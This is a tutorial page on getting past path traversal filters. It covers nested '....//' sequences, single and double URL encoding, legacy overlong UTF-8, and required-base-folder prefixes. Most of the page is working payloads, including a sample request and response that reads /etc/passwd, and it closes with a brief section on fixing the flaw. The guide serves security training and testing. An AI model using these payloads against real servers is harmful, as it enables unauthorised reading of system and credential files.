Path Traversal: The Complete Practical Guide
Bypassing Path Traversal Filters
How to defeat path traversal filters: non-recursive strip with nested sequences, URL and double encoding, legacy overlong UTF-8, and required-base prefixes.
Published
Plenty of apps try to stop traversal by filtering the input, and the filters are usually defeatable because they strip instead of validate, or decode more times than they check. This page covers the standard bypasses in order of how often they work. Practice on a free live target.
Step 1: work out what the filter does
Probe to classify the filter before picking a bypass:
- Send
../and see if it is removed (stripped) or rejected (blocked outright). - If stripped, is the strip recursive (keeps going until clean) or once?
- Does the server decode your input, and how many times?
- Does it demand a known base folder at the start of the path?
Each answer points at one of the bypasses below.
Non-recursive strip: nested sequences
If the app removes ../ once and does not re-check, feed it a payload that becomes ../ only after that single removal. The inner sequence is stripped and the outer characters collapse back into a traversal:
....// -> strip the inner ../ -> leaves ../ ( // collapses to / )
..././ -> strip the inner ../ -> leaves ../
....\/ -> mixed separators, same idea on WindowsSo a real payload repeats the nested form:
GET /download?file=....//....//....//etc/passwd HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinEach ....// survives the strip as ../ and climbs a level.
Encoding: single, then double
If the filter blocks the literal ../ but the server decodes input, encode it so the filter sees something else:
%2e%2e%2f URL-encoded ../
..%2f encode only the slash
%2e%2e%5c encoded ..\ (Windows)When a single decode still trips the filter, try double encoding for the case where a proxy or WAF decodes once and the app decodes again:
%252e%252e%252f ../ after two decodes
..%252f..%252fetc/passwd %252f -> %2f -> /The WAF sees inert text, decodes it once to the normal percent form (which it passes), and the application's second decode reconstructs ../. This only works where that second decode genuinely happens.
Legacy encodings (situational)
Older servers and non-strict decoders accepted invalid UTF-8 and fullwidth unicode as path characters. These are legacy (classic old-IIS Unicode bugs and non-conformant decoders). Modern servers reject them, so treat them as a long shot against dated stacks:
..%c0%af overlong UTF-8 "/" (legacy)
%c0%ae%c0%ae/ overlong UTF-8 ".." (legacy)
..%c1%9c overlong UTF-8 "\" (Win) (legacy)
%uff0e%uff0e%u2215 unicode slash homoglyph (legacy IIS)Required base folder: prefix then climb
If the server insists the path starts with a known directory, give it that prefix and then climb back out:
expected/../../../../etc/passwd
/var/www/images/../../../../etc/passwdThe check passes because the path starts with the required folder, and the ../ sequences escape it afterward.
Step 3: confirm
Replay the matching bypass and confirm the target file comes back, rather than the filter silently stripping your payload into a harmless request. If the response is the base directory's default file, the strip won, so iterate to a form that survives it.
Fixing it
- Do not strip, validate. Stripping is defeated by nesting and encoding. Canonicalize the fully decoded path and check it is inside the base directory.
- Decode once, completely, before validating, so double-encoding has nothing left to reconstruct.
- Allow-list the filename, rejecting separators,
.., and encoded variants outright.
Full guidance is in preventing path traversal. Next, handle a server that forces an extension in extension and suffix tricks, or defeat a filter on a free lab.